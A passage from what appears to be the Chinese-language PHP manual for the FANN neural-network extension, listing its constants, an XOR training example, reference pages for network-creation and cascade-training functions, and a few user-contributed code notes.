标准反向传播算法，计算均方差误差后权重值将会更新。 这意味着每个单历元只会更新一次。因为这个原因，很多问题使用这个算法会训练的很慢。但是计算出的均方差误差比增量训练的效果更好，使用这个算法某些问题将会得到更好的解决方案。
FANN_TRAIN_RPROP (int)
一个更高级的批训练算法，对于很多问题该算法还会获得很好的结果。RPROP 训练算法是自适应的，因此不需要使用 learning_rate. 其他一些参数用来设置 RPROP 算法工作的方式，只推荐给那些知道 RPROP 算法如何工作的人来设置。RPROP 训练算法是被 Riedmiller 和 BraunSome 在1993年提出来的，实际上此处使用的是由 Igel 和 Husken 在2000年提出来的 iRPROP 训练算法，它是标准 RPROP 训练算法的一个变种。
FANN_TRAIN_QUICKPROP (int)
一个更高级的批训练算法，对于很多问题该算法还会获得很好的结果。quickprop 训练算法使用 learning_rate 参数和其他更高级的参数， 但是只有当用户真正明白 quickprop 训练算法如何工作的时候才建议修改这些高级参数。 quickprop 训练算法是被 Fahlman 在1988年描述的。
FANN_TRAIN_SARPROP (int)
更高级的训练算法，只在2.2版本中可用。
Activation functions
FANN_LINEAR (int)
线性激励函数。
FANN_THRESHOLD (int)
阈值激励函数。
FANN_THRESHOLD_SYMMETRIC (int)
阈值激励函数。
FANN_SIGMOID (int)
Sigmoid激励函数。
FANN_SIGMOID_STEPWISE (int)
逐步线性逼近 Sigmoid 激励函数。
FANN_SIGMOID_SYMMETRIC (int)
对称 Sigmoid 激励函数， 又名：tanh.
FANN_SIGMOID_SYMMETRIC_STEPWISE (int)
逐步线性逼近对称 Sigmoid 激励函数。
FANN_GAUSSIAN (int)
Gaussian (高斯) 激励函数。
FANN_GAUSSIAN_SYMMETRIC (int)
对称 gaussian (高斯)激励函数。
FANN_GAUSSIAN_STEPWISE (int)
逐步 gaussian (高斯)激励函数。
FANN_ELLIOT (int)
快速(类sigmoid)激励函数，由 David Elliott 定义的。
FANN_ELLIOT_SYMMETRIC (int)
快速(类对称sigmoid)激励函数，由 David Elliott定义的。
FANN_LINEAR_PIECE (int)
有界线性激励函数。
FANN_LINEAR_PIECE_SYMMETRIC (int)
有界线性激励函数。
FANN_SIN_SYMMETRIC (int)
周期sin(正弦)激励函数。
FANN_COS_SYMMETRIC (int)
周期cos(余弦)激励函数。
FANN_SIN (int)
周期sin(正弦)激励函数。
FANN_COS (int)
周期cos(余弦)激励函数。
Error function used during training
FANN_ERRORFUNC_LINEAR (int)
标准线性误差函数。
FANN_ERRORFUNC_TANH (int)
Tanh 误差函数；通常更好但是要求更低的学习率。该误差函数当有目标输出时将会和期望值有很大的不同，然而没有目标输出时略有不同。不推荐用于级联或增量训练。
Stop criteria used during training
FANN_STOPFUNC_MSE (int)
停止准则是均方误差(MSE)值。
FANN_STOPFUNC_BIT (int)
停止准则是失败时的比特位数。比特位数意味着输出神经元的个数超过了失败时的比特位数 (参考 fann_get_bit_fail_limit, fann_set_bit_fail_limit). 位数在所有的训练数据中都会被计数，所以这个数组将会比训练数据的数量更高。
fann_get_network_type() 是用来定义网络类型
FANN_NETTYPE_LAYER (int)
每一层只能连接下一层。
FANN_NETTYPE_SHORTCUT (int)
每一层与所有以下层有连接。
Errors
FANN_E_NO_ERROR (int)
无误差。
FANN_E_CANT_OPEN_CONFIG_R (int)
无法打开读取配置文件。
FANN_E_CANT_OPEN_CONFIG_W (int)
无法打开写入配置文件。
FANN_E_WRONG_CONFIG_VERSION (int)
配置文件的错误版本。
FANN_E_CANT_READ_CONFIG (int)
从配置文件读取信息的错误。
FANN_E_CANT_READ_NEURON (int)
从配置文件读取神经元信息的错误。
FANN_E_CANT_READ_CONNECTIONS (int)
从配置文件读取连接的错误。
FANN_E_WRONG_NUM_CONNECTIONS (int)
连接数和期望的值不相等。
FANN_E_CANT_OPEN_TD_W (int)
无法打开训练数据文件写入内容。
FANN_E_CANT_OPEN_TD_R (int)
无法打开训练数据文件读取内容。
FANN_E_CANT_READ_TD (int)
从文件读取训练数据错误。
FANN_E_CANT_ALLOCATE_MEM (int)
无法分配内存。
FANN_E_CANT_TRAIN_ACTIVATION (int)
无法使用已选的激励函数训练。
FANN_E_CANT_USE_ACTIVATION (int)
无法使用已选的激励函数。
FANN_E_TRAIN_DATA_MISMATCH (int)
两个 fann_train_data 结构体之间存在不可调和的差异。
FANN_E_CANT_USE_TRAIN_ALG (int)
不能使用已选的训练算法。
FANN_E_TRAIN_DATA_SUBSET (int)
尝试获取不在训练集内的子集。
FANN_E_INDEX_OUT_OF_BOUND (int)
索引超出了界限。
FANN_E_SCALE_NOT_PRESENT (int)
标定参数不存在。
FANN_E_INPUT_NO_MATCH (int)
在人工神经网络和 data 中的输入神经元个数不匹配
FANN_E_OUTPUT_NO_MATCH (int)
在人工神经网络和数据中的输出神经元个数不匹配。

User Contributed Notes

There are no user contributed notes for this page.


示例

Table of Contents

  • XOR (异或)训练

User Contributed Notes

There are no user contributed notes for this page.


XOR (异或)训练

以下例子展示了怎么训练数据来实现 XOR (异或)功能。

Example #1 xor.data file

4 2 1
-1 -1
-1
-1 1
1
1 -1
1
1 1
-1

Example #2 一般训练

<?php
$num_input = 2;
$num_output = 1;
$num_layers = 3;
$num_neurons_hidden = 3;
$desired_error = 0.001;
$max_epochs = 500000;
$epochs_between_reports = 1000;

$ann = fann_create_standard($num_layers, $num_input, $num_neurons_hidden, $num_output);

if ($ann) {
fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);

$filename = dirname(__FILE__) . "/xor.data";
if (fann_train_on_file($ann, $filename, $max_epochs, $epochs_between_reports, $desired_error))
fann_save($ann, dirname(__FILE__) . "/xor_float.net");

fann_destroy($ann);
}
?>

这个例子展示怎么读取神经网络并且使用 XOR (异或)功能来运行数据。

Example #3 一般测试

<?php
$train_file = (dirname(__FILE__) . "/xor_float.net");
if (!is_file($train_file))
die("The file xor_float.net has not been created! Please run simple_train.php to generate it");

$ann = fann_create_from_file($train_file);
if (!$ann)
die("ANN could not be created");

$input = array(-1, 1);
$calc_out = fann_run($ann, $input);
printf("xor test (%f,%f) -> %f\n", $input[0], $input[1], $calc_out[0]);
fann_destroy($ann);
?>

User Contributed Notes

ithirzty 25-Nov-2019 07:44
If you wan't your result to be saved after the time limit, you will need to add this to your code.
<?php
function shutdown()
{
  global $ann;
fann_save($ann, dirname(__FILE__) . "/result.net");
fann_destroy($ann);
}

register_shutdown_function('shutdown');
?>
where $ann is your neural network var and 'result.net' your neural network config file.
Ray.Paseur sometimes uses Gmail 03-Mar-2017 08:43
A helpful reference for FANN is available here:
http://leenissen.dk/fann/html/files2/theory-txt.html
Aurelien Marchand 08-May-2015 02:08
Here is an explanation for the input file for training, as it might be obvious to everyone and you must understand it to write your own:

4 2 1 <- header file saying there are 4 sets to read, with 2 inputs and 1 output
-1 -1 <- the 2 inputs for the 1st group
-1    <- the 1 output for the 1st group
-1 1  <- the 2 inputs for the 2nd group
1     <- the 1 output for the 2nd group
1 -1  <- the 2 inputs for the 3rd group
1     <- the 1 output for the 3rd group
1 1   <- the 2 inputs for the 4th group
-1    <- the 1 output for the 4th group


Fann 函数

Table of Contents

  • fann_cascadetrain_on_data — 在整个数据集上训练，使用一段时间的 Cascade2 训练算法。
  • fann_cascadetrain_on_file — 读取文件并在整个数据集上训练，使用 Cascade2 训练算法训练一段时间
  • fann_clear_scaling_params — 清除缩放参数
  • fann_copy — 创建一个 fann 结构体的副本。
  • fann_create_from_file — 从配置文件中构建一个反向传播神经网络。
  • fann_create_shortcut_array — 创建一个含快捷连接而非全连接的标准反向传播神经网络。
  • fann_create_shortcut — 创建一个含快捷连接而非全连接的标准反向传播神经网络。
  • fann_create_sparse_array — 创建一个标准的反向传播神经网络，该网络使用一个表示每层大小的数组来构造，但是并不是全连接的。
  • fann_create_sparse — 创建一个标准的反向传播神经网络，该网络不是全连接。
  • fann_create_standard_array — 创建一个全连接的反向传播神经网络，该网络使用一个表示每层大小的数组来构造。
  • fann_create_standard — 创建标准的全连接反向传播神经网络。
  • fann_create_train_from_callback — 从用户提供的函数创建训练数据结构。
  • fann_create_train — 创建一个空的训练数据结构。
  • fann_descale_input — 在获取基于先前计算的参数之后，在输入向量中缩小数据
  • fann_descale_output — 在获取基于先前计算的参数之后，在输出向量中缩小数据
  • fann_descale_train — 基于先前计算的参数来缩小输入和输出数据
  • fann_destroy_train — 销毁训练数据。
  • fann_destroy — 销毁整个网络并且适当地释放所有的关联内存。
  • fann_duplicate_train_data — 返回 fann 训练数据精确的副本。
  • fann_get_activation_function — 返回激励函数
  • fann_get_activation_steepness — 为提供的神经和网络层数返回激活陡度
  • fann_get_bias_array — 获取网络中每一层的偏差数
  • fann_get_bit_fail_limit — 返回训练期间使用的误差限制
  • fann_get_bit_fail — 失败位的数量
  • fann_get_cascade_activation_functions_count — 返回级联激活函数的数量
  • fann_get_cascade_activation_functions — 返回级联激活函数
  • fann_get_cascade_activation_steepnesses_count — 激活陡度的数量
  • fann_get_cascade_activation_steepnesses — 返回级联激活陡度
  • fann_get_cascade_candidate_change_fraction — 返回级联候选变化分数
  • fann_get_cascade_candidate_limit — 返回候选限度
  • fann_get_cascade_candidate_stagnation_epochs — 返回层叠候选停滞周期的数量
  • fann_get_cascade_max_cand_epochs — 返回候选周期的最大值
  • fann_get_cascade_max_out_epochs — 返回输出周期的最大值
  • fann_get_cascade_min_cand_epochs — 返回最小的候选周期
  • fann_get_cascade_min_out_epochs — 返回最小输出周期
  • fann_get_cascade_num_candidate_groups — 返回候选组的数量
  • fann_get_cascade_num_candidates — 返回训练期间使用的候选数量
  • fann_get_cascade_output_change_fraction — 返回级联输出变化分数
  • fann_get_cascade_output_stagnation_epochs — 返回级联输出停滞周期的数量
  • fann_get_cascade_weight_multiplier — 返回权重因子
  • fann_get_connection_array — 获取网络中的连接。
  • fann_get_connection_rate — 获取当网络创建时连接的使用率。
  • fann_get_errno — 返回最后一个错误数字。
  • fann_get_errstr — 返回最后的错误字符串。
  • fann_get_layer_array — 获取网络中每层的神经元数量。
  • fann_get_learning_momentum — 返回学习动量
  • fann_get_learning_rate — 返回学习速率
  • fann_get_MSE — 从网络中读取均方误差。
  • fann_get_network_type — 获取所创建的神经网络类型。
  • fann_get_num_input — 获取输入神经元的数量。
  • fann_get_num_layers — 获取神经网络的层数。
  • fann_get_num_output — 获取输出神经元的数量。
  • fann_get_quickprop_decay — 返回衰退值，用于在 quickprop 训练迭代时衰减权重
  • fann_get_quickprop_mu — 返回放大系数
  • fann_get_rprop_decrease_factor — 返回 RPROP 训练期间的衰减系数
  • fann_get_rprop_delta_max — 返回最大步长
  • fann_get_rprop_delta_min — 返回最小步长
  • fann_get_rprop_delta_zero — 返回初始步长
  • fann_get_rprop_increase_factor — 返回 RPROP 训练的递增系数
  • fann_get_sarprop_step_error_shift — 返回 sarprop 步值的误差偏移
  • fann_get_sarprop_step_error_threshold_factor — 返回 sarprop 算法步值的误差阈值系数
  • fann_get_sarprop_temperature — 返回 sarprop 算法温度
  • fann_get_sarprop_weight_decay_shift — 返回 sarprop 算法权重衰减变化值
  • fann_get_total_connections — 获取整个网络中所有的连接数。
  • fann_get_total_neurons — 获取整个网络中神经元的数量。
  • fann_get_train_error_function — 返回训练中使用的错误函数。
  • fann_get_train_stop_function — 返回训练中使用的停止函数。
  • fann_get_training_algorithm — 返回训练算法。
  • fann_init_weights — 使用 Widrow 和 Nguyen 算法初始化权重。
  • fann_length_train_data — 返回训练数据中训练模式的数量。
  • fann_merge_train_data — 合并训练数据。
  • fann_num_input_train_data — 返回训练数据中每个训练模式输入的数量。
  • fann_num_output_train_data — 返回训练数据中每个训练模式输出的数量。
  • fann_print_error — 打印错误字符串
  • fann_randomize_weights — 给每个连接赋一个介于 min_weight 和 max_weight 之间的随机权重。
  • fann_read_train_from_file — 读取存储训练数据的文件。
  • fann_reset_errno — 重置最后的错误代码。
  • fann_reset_errstr — 重置最后的错误字符串。
  • fann_reset_MSE — 重置网络中的均方误差。
  • fann_run — 将通过神经网络运行输入。
  • fann_save_train — 将训练结构体保存至文件。
  • fann_save — 将整个网络保存至配置文件。
  • fann_scale_input_train_data — 在训练数据中缩放输入至指定范围
  • fann_scale_input — 在以前计算参数的基础上，在训练之前放大输入向量中的数据
  • fann_scale_output_train_data — 在训练数据中缩放输出至指定范围
  • fann_scale_output — 在以前计算参数的基础上，在训练之前放大输出向量中的数据
  • fann_scale_train_data — 在训练数据中缩放输入和输出到指定的范围
  • fann_scale_train — 在以前计算参数的基础上，缩放输入和输出数据
  • fann_set_activation_function_hidden — 为所有隐藏层设置激活函数
  • fann_set_activation_function_layer — 为已应用的层中所有的神经元设置激活函数
  • fann_set_activation_function_output — 为输出层设置激活函数
  • fann_set_activation_function — 为已应用的神经元和层设置激活函数
  • fann_set_activation_steepness_hidden — 为所有隐藏层中所有的神经元设置激活函数陡度
  • fann_set_activation_steepness_layer — 为提供的层中所有的神经元设置激活陡度
  • fann_set_activation_steepness_output — 在输出层中设置激活陡度
  • fann_set_activation_steepness — 为提供的神经元和层设置激活陡度
  • fann_set_bit_fail_limit — 设置训练期间使用的误差
  • fann_set_callback — 设置训练期间使用的回调函数。
  • fann_set_cascade_activation_functions — 设置级联候选激活函数的数组
  • fann_set_cascade_activation_steepnesses — 设置级联候选激活陡度的数组。
  • fann_set_cascade_candidate_change_fraction — 设置级联候选更改分数
  • fann_set_cascade_candidate_limit — 设置候选限度
  • fann_set_cascade_candidate_stagnation_epochs — 设置级联候选停止周期数
  • fann_set_cascade_max_cand_epochs — 设置最大候选周期数
  • fann_set_cascade_max_out_epochs — 设置最大输出周期
  • fann_set_cascade_min_cand_epochs — 设置最小候选周期
  • fann_set_cascade_min_out_epochs — 设置最小输出周期
  • fann_set_cascade_num_candidate_groups — 设置候选组数量
  • fann_set_cascade_output_change_fraction — 设置级联输出改变分数
  • fann_set_cascade_output_stagnation_epochs — 设置级联输出停滞周期的值
  • fann_set_cascade_weight_multiplier — 设置权重因子
  • fann_set_error_log — 设置错误记录保存的位置。
  • fann_set_input_scaling_params — 根据训练数据计算将来使用的输入比例参数
  • fann_set_learning_momentum — 设置学习动量。
  • fann_set_learning_rate — 设置学习速率。
  • fann_set_output_scaling_params — 根据训练数据计算将来使用的输出缩放参数
  • fann_set_quickprop_decay — 设置quickprop算法衰减因子
  • fann_set_quickprop_mu — 设置 quickprop 算法放大因子
  • fann_set_rprop_decrease_factor — 使用 RPROP 算法训练时，设置下降因子
  • fann_set_rprop_delta_max — 设置最大步长
  • fann_set_rprop_delta_min — 设置最小步长
  • fann_set_rprop_delta_zero — 设置初始步长
  • fann_set_rprop_increase_factor — 使用 RPROP 算法训练时，设置增长因子
  • fann_set_sarprop_step_error_shift — 设置 sarprop 算法的步误差偏移量
  • fann_set_sarprop_step_error_threshold_factor — 设置 sarprop 算法的步误差阈值因子
  • fann_set_sarprop_temperature — 设置 sarprop 算法的温度
  • fann_set_sarprop_weight_decay_shift — 设置 sarprop 算法的权重衰减偏移值
  • fann_set_scaling_params — 根据训练数据计算输入和输出缩放参数以供将来使用
  • fann_set_train_error_function — 设置训练期间使用的错误函数。
  • fann_set_train_stop_function — 设置训练期间使用的停止函数。
  • fann_set_training_algorithm — 设置训练算法。
  • fann_set_weight_array — 在网络中设置一个连接。
  • fann_set_weight — 在网络中设置一个连接。
  • fann_shuffle_train_data — 打算训练数据，使顺序随机。
  • fann_subset_train_data — 返回一个训练数据子集的副本。
  • fann_test_data — 使用训练数据来测试并且计算出 MSE
  • fann_test — 使用一组输入和一组期望的输出来测试。
  • fann_train_epoch — 使用一组训练数据训练一个周期。
  • fann_train_on_data — 在整个数据集上训练一段时间。
  • fann_train_on_file — 在从某个文件读取的整个数据集上训练一段时间。
  • fann_train — 使用一个输入集和一个期望的输出集来迭代训练一次。

User Contributed Notes

There are no user contributed notes for this page.


在整个数据集上训练，使用一段时间的 Cascade2 训练算法。

  • ? Fann 函数
  • fann_cascadetrain_on_file ?
  • PHP Manual
  • Fann 函数
  • 在整个数据集上训练，使用一段时间的 Cascade2 训练算法。

fann_cascadetrain_on_data

(PECL fann >= 1.0.0)

fann_cascadetrain_on_data — 在整个数据集上训练，使用一段时间的 Cascade2 训练算法。

说明

fann_cascadetrain_on_data(
resource $ann,
resource $data,
int $max_neurons,
int $neurons_between_reports,
float $desired_error
): bool

级联输出改变小数是一个0到1之间的数字，表示在输出连接的训练中，为了使训练不停滞的情况下，经过 fann_get_cascade_output_stagnation_epochs() 次迭代的后，fann_get_MSE() 将会改变多大。如果训练停滞了，训练的输出连接将会结束，新的候选神经元将会准备好。

该训练使用由 fann_set_cascade_ 前缀设置的参数，但它也采用了另一种训练算法，即内部训练算法。该训练算法要么是 fann_set_training_algorithm() 设置的 FANN_TRAIN_RPROP 算法，要么是 FANN_TRAIN_QUICKPROP，这些算法设置的参数同样也会影响到级联训练。

参数

ann

神经网络 资源。

data

神经网络训练数据 资源。

max_neurons

被添加入神经网络中最大的神经元数。

neurons_between_reports

打印状态报告之间的神经元数。0表示没有报告会被打印。

desired_error

预期的 fann_get_MSE() 或 fann_get_bit_fail(), 取决于 fann_set_train_stop_function() 选择的停止函数

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_train_on_data() - 在整个数据集上训练一段时间。
  • fann_cascadetrain_on_file() - 读取文件并在整个数据集上训练，使用 Cascade2 训练算法训练一段时间

User Contributed Notes

There are no user contributed notes for this page.


读取文件并在整个数据集上训练，使用 Cascade2 训练算法训练一段时间

  • ? fann_cascadetrain_on_data
  • fann_clear_scaling_params ?
  • PHP Manual
  • Fann 函数
  • 读取文件并在整个数据集上训练，使用 Cascade2 训练算法训练一段时间

fann_cascadetrain_on_file

(PECL fann >= 1.0.0)

fann_cascadetrain_on_file — 读取文件并在整个数据集上训练，使用 Cascade2 训练算法训练一段时间

说明

fann_cascadetrain_on_file(
resource $ann,
string $filename,
int $max_neurons,
int $neurons_between_reports,
float $desired_error
): bool

和 fann_cascadetrain_on_data() 函数做一样的工作，但是该函数是直接从文件读取训练数据的。

参数

ann

神经网络 资源。

filename

包含训练数据的文件。

max_neurons

添加到神经网络的最大神经元数。

neurons_between_reports

打印状态报告之间的神经元数量。0值表示没有报告打印。

desired_error

期望的 fann_get_MSE() 值或者 fann_get_bit_fail() 值， 取决于 fann_set_train_stop_function() 函数选择的停止函数。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_train_on_data() - 在整个数据集上训练一段时间。
  • fann_cascadetrain_on_data() - 在整个数据集上训练，使用一段时间的 Cascade2 训练算法。

User Contributed Notes

There are no user contributed notes for this page.


清除缩放参数

  • ? fann_cascadetrain_on_file
  • fann_copy ?
  • PHP Manual
  • Fann 函数
  • 清除缩放参数

fann_clear_scaling_params

(PECL fann >= 1.0.0)

fann_clear_scaling_params — 清除缩放参数

说明

fann_clear_scaling_params(resource $ann): bool

清除缩放参数

参数

ann

神经网络 资源。

返回值

成功时返回 true，其它情况下返回 false。

User Contributed Notes

There are no user contributed notes for this page.


创建一个 fann 结构体的副本。

  • ? fann_clear_scaling_params
  • fann_create_from_file ?
  • PHP Manual
  • Fann 函数
  • 创建一个 fann 结构体的副本。

fann_copy

(PECL fann >= 1.0.0)

fann_copy — 创建一个 fann 结构体的副本。

说明

fann_copy(resource $ann): resource

创建一个 fann 结构体的副本。

参数

ann

神经网络 资源。

返回值

成功，返回神经网络资源的副本，失败则返回false

注释

Note:

This function is only available if the fann extension has been build against libfann >= 2.2.

参见

  • fann_test() - 使用一组输入和一组期望的输出来测试。

User Contributed Notes

There are no user contributed notes for this page.


从配置文件中构建一个反向传播神经网络。

  • ? fann_copy
  • fann_create_shortcut_array ?
  • PHP Manual
  • Fann 函数
  • 从配置文件中构建一个反向传播神经网络。

fann_create_from_file

(PECL fann >= 1.0.0)

fann_create_from_file — 从配置文件中构建一个反向传播神经网络。

说明

fann_create_from_file(string $configuration_file): resource

从一个由 fann_save() 函数保存的配置文件中构建一个反向传播神经网络。

参数

configuration_file

配置文件的路径。

返回值

成功时返回神经网络 资源，发生错误返回 false。

参见

  • fann_save() - 将整个网络保存至配置文件。

User Contributed Notes

There are no user contributed notes for this page.


创建一个含快捷连接而非全连接的标准反向传播神经网络。

  • ? fann_create_from_file
  • fann_create_shortcut ?
  • PHP Manual
  • Fann 函数
  • 创建一个含快捷连接而非全连接的标准反向传播神经网络。

fann_create_shortcut_array

(PECL fann >= 1.0.0)

fann_create_shortcut_array — 创建一个含快捷连接而非全连接的标准反向传播神经网络。

说明

fann_create_shortcut_array(int $num_layers, array $layers): resource

使用包含各层大小的数组创建一个含快捷连接而非全连接的标准反向传播神经网络。

参数

num_layers

网络层数的总数，包含输入输出层。

layers

一个包含各层大小的数组。

返回值

成功，返回一个神经网络的资源，错误则返回 false

参见

  • fann_create_shortcut() - 创建一个含快捷连接而非全连接的标准反向传播神经网络。
  • fann_create_sparse() - 创建一个标准的反向传播神经网络，该网络不是全连接。
  • fann_create_standard() - 创建标准的全连接反向传播神经网络。

User Contributed Notes

There are no user contributed notes for this page.


创建一个含快捷连接而非全连接的标准反向传播神经网络。

  • ? fann_create_shortcut_array
  • fann_create_sparse_array ?
  • PHP Manual
  • Fann 函数
  • 创建一个含快捷连接而非全连接的标准反向传播神经网络。

fann_create_shortcut

(PECL fann >= 1.0.0)

fann_create_shortcut — 创建一个含快捷连接而非全连接的标准反向传播神经网络。

说明

fann_create_shortcut(
int $num_layers,
int $num_neurons1,
int $num_neurons2,
int ...$num_neuronsN
): resource

创建一个含快捷连接而非全连接标准反向传播神经网络。

快捷连接是可以跳过网络层次的连接。一个包含快捷连接的全连接网络，表示在之后的网络层里所有的神经元都是互相连接的。包括输出层直接连接到输出层的连接。

参数

num_layers

包括输入输出层在内的网络层的层数。。

num_neurons1

第一层神经元的数量。

num_neurons2

第二层神经元的数量。

num_neuronsN

其它层神经元的数量。

返回值

成功，返回神经网络的资源，错误则返回 false .

参见

  • fann_create_shortcut_array() - 创建一个含快捷连接而非全连接的标准反向传播神经网络。
  • fann_create_sparse() - 创建一个标准的反向传播神经网络，该网络不是全连接。
  • fann_create_standard() - 创建标准的全连接反向传播神经网络。

User Contributed Notes

There are no user contributed notes for this page.


创建一个标准的反向传播神经网络，该网络使用一个表示每层大小的数组来构造，但是并不是全连接的。

  • ? fann_create_shortcut
  • fann_create_sparse ?
  • PHP Manual
  • Fann 函数
  • 创建一个标准的反向传播神经网络，该网络使用一个表示每层大小的数组来构造，但是并不是全连接的。

fann_create_sparse_array

(PECL fann >= 1.0.0)

fann_create_sparse_array — 创建一个标准的反向传播神经网络，该网络使用一个表示每层大小的数组来构造，但是并不是全连接的。

说明

fann_create_sparse_array(float $connection_rate, int $num_layers, array $layers): resource

创建一个标准的反向传播神经网络，该网络使用一个表示每层大小的数组来构造，但是并不是全连接的。

参数

connection_rate

连接率控制着在网络中将会有多少连接，如果连接率设置为1，那么这个网络就是全连接网络，但是如果设置为0.5将会设置一半的连接。连接率为1的结果和使用fann_create_standard()函数的效果是一样的。

num_layers

神经网络层数，包括输入输出层。

layers

表示每层大小的数组。

返回值

成功，返回神经网络的资源，错误则返回 false .

参见

  • fann_create_sparse() - 创建一个标准的反向传播神经网络，该网络不是全连接。
  • fann_create_standard() - 创建标准的全连接反向传播神经网络。
  • fann_create_shortcut() - 创建一个含快捷连接而非全连接的标准反向传播神经网络。

User Contributed Notes

There are no user contributed notes for this page.


创建一个标准的反向传播神经网络，该网络不是全连接。

  • ? fann_create_sparse_array
  • fann_create_standard_array ?
  • PHP Manual
  • Fann 函数
  • 创建一个标准的反向传播神经网络，该网络不是全连接。

fann_create_sparse

(PECL fann >= 1.0.0)

fann_create_sparse — 创建一个标准的反向传播神经网络，该网络不是全连接。

说明

fann_create_sparse(
float $connection_rate,
int $num_layers,
int $num_neurons1,
int $num_neurons2,
int ...$num_neuronsN
): resource

创建一个标准的反向传播神经网络，该网络不是全连接。

参数

connection_rate

连接率控制着在网络中将会有多少连接，如果连接率设置为1，那么这个网络就是全连接网络，但是如果设置为 0.5 将会设置一半的连接。连接率为1的结果和使用 fann_create_standard()函数的效果是一样的。

num_layers

神经网络层数，包括输入输出层。

num_neurons1

第一层网络的神经数。

num_neurons2

第二层网络的神经数。

num_neuronsN

其它层网络的神经数。

返回值

返回一个神经网络资源，错误则返回 false .

参见

  • fann_create_sparse_array() - 创建一个标准的反向传播神经网络，该网络使用一个表示每层大小的数组来构造，但是并不是全连接的。
  • fann_create_standard() - 创建标准的全连接反向传播神经网络。
  • fann_create_shortcut() - 创建一个含快捷连接而非全连接的标准反向传播神经网络。

User Contributed Notes

There are no user contributed notes for this page.


创建一个全连接的反向传播神经网络，该网络使用一个表示每层大小的数组来构造。

  • ? fann_create_sparse
  • fann_create_standard ?
  • PHP Manual
  • Fann 函数
  • 创建一个全连接的反向传播神经网络，该网络使用一个表示每层大小的数组来构造。

fann_create_standard_array

(PECL fann >= 1.0.0)

fann_create_standard_array — 创建一个全连接的反向传播神经网络，该网络使用一个表示每层大小的数组来构造。

说明

fann_create_standard_array(int $num_layers, array $layers): resource

创建一个标准的全连接反向传播神经网络。

每一层都将会有一个偏置神经元 (除了输出层),该偏置神经元将会连接下一层所有的神经元。当运行网络时，偏置神经节点一直发出1信号。

请使用 fann_destroy() 函数来销毁神经网络。

参数

num_layers

神经网络层数，包括输入输出层。

layers

表示每层大小的数组。

返回值

成功则返回神经网络，错误则返回 false .

参见

  • fann_create_standard() - 创建标准的全连接反向传播神经网络。
  • fann_create_sparse() - 创建一个标准的反向传播神经网络，该网络不是全连接。
  • fann_create_shortcut() - 创建一个含快捷连接而非全连接的标准反向传播神经网络。

User Contributed Notes

There are no user contributed notes for this page.


创建标准的全连接反向传播神经网络。

  • ? fann_create_standard_array
  • fann_create_train_from_callback ?
  • PHP Manual
  • Fann 函数
  • 创建标准的全连接反向传播神经网络。

fann_create_standard

(PECL fann >= 1.0.0)

fann_create_standard — 创建标准的全连接反向传播神经网络。

说明

fann_create_standard(
int $num_layers,
int $num_neurons1,
int $num_neurons2,
int ...$num_neuronsN
): resource

创建一个标准的全连接反向传播神经网络。

每一层都将会有一个偏置神经元 (除了输出层), 该偏置神经元将会连接下一层所有的神经元。当运行网络时，偏置神经节点一直发出1信号。

请使用 fann_destroy() 函数来销毁神经网络。

参数

num_layers

神经网络层数，包括输入输出层。

num_neurons1

第一层神经元的数量。

num_neurons2

第二层神经元的数量。

num_neuronsN

其他层的神经数量。

返回值

成功，返回神经网络的资源，失败则返回 false .

参见

  • fann_create_standard_array() - 创建一个全连接的反向传播神经网络，该网络使用一个表示每层大小的数组来构造。
  • fann_create_sparse() - 创建一个标准的反向传播神经网络，该网络不是全连接。
  • fann_create_shortcut() - 创建一个含快捷连接而非全连接的标准反向传播神经网络。

User Contributed Notes

There are no user contributed notes for this page.


从用户提供的函数创建训练数据结构。

  • ? fann_create_standard
  • fann_create_train ?
  • PHP Manual
  • Fann 函数
  • 从用户提供的函数创建训练数据结构。

fann_create_train_from_callback

(PECL fann >= 1.0.0)

fann_create_train_from_callback — 从用户提供的函数创建训练数据结构。

说明

fann_create_train_from_callback(
int $num_data,
int $num_input,
int $num_output,
callable $user_function
): resource

从用户提供的函数创建训练数据结构。当训练数据可数，用户需要构造一个用来接收训练数据集(包括输入，输出)数量和返回值为集合的函数。

参数

num_data

训练数据的数量。

num_input

每个训练数据的输入数。

num_output

每个训练数据的输出数。

user_function

用户提供的函数包含以下参数：

  • num - 训练数据集的数量。
  • num_input - 数量数据的输入数。
  • num_output - 数量数据的输出数。

函数应该返回一个包含input 和 output 键的数组，并且这两个键的值分别表示输入输出的值(皆为数组)。

返回值

成功时返回训练数据 资源，发生错误返回 false。

示例

Example #1 fann_create_train_from_callback() 示例

<?php
function create_train_callback($num_data, $num_input, $num_output) {
return array(
"input" => array_fill(0, $num_input, 1),
"output" => array_fill(0, $num_output, 1),
);
}

$num_data = 3;
$num_input = 2;
$num_output = 1;
$train_data = fann_create_train_from_callback($num_data, $num_input, $num_output, "create_train_callback");
if ($train_data) {
// Do something with $train_data
}
?>

注释

Note:

This function is only available if the fann extension has been build against libfann >= 2.2.

参见

  • fann_read_train_from_file() - 读取存储训练数据的文件。
  • fann_train_on_data() - 在整个数据集上训练一段时间。
  • fann_destroy_train() - 销毁训练数据。
  • fann_save_train() - 将训练结构体保存至文件。

User Contributed Notes

geekgirljoy at gmail dot com 21-Oct-2016 05:34
This code can be used to read training data from MySQL rather than a text file.

<?php

// MySQL for This Example:
/*
CREATE TABLE `TrainingSets` (
  `ID` int(11) NOT NULL,
  `Name` varchar(150) COLLATE utf8mb4_unicode_ci NOT NULL,
  `TrainingData` text COLLATE utf8mb4_unicode_ci NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

ALTER TABLE `TrainingSets` ADD PRIMARY KEY (`ID`);

INSERT INTO `TrainingSets` (`ID`, `Name`, `TrainingData`) VALUES(1, 'XOR', '-1 -1\n-1\n-1 1\n1\n1 -1\n1\n1 1\n-1');

ALTER TABLE `TrainingSets` MODIFY `ID` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;
*/

// This function calls pulls the TrainingData from MySQL
function get_training_data_from_db($id) {
    $table_name = "TrainingSets";
    $field = "TrainingData";
    $connection=mysqli_connect("host","username","password","database"); // change to your DB credentials
    $result=mysqli_query($connection,"SELECT $field FROM $table_name");
    $data=mysqli_fetch_assoc($result);
    mysqli_close($connection);

    return $data[$field];
}

// This function prepares the newline delimited data to be handed off to FANN
/*
Example of "newline delimited data" (like XOR in a Plain Text File) stored in MySQL:
-1 -1
-1
-1 1
1
1 1
-1
1 -1
1
*/
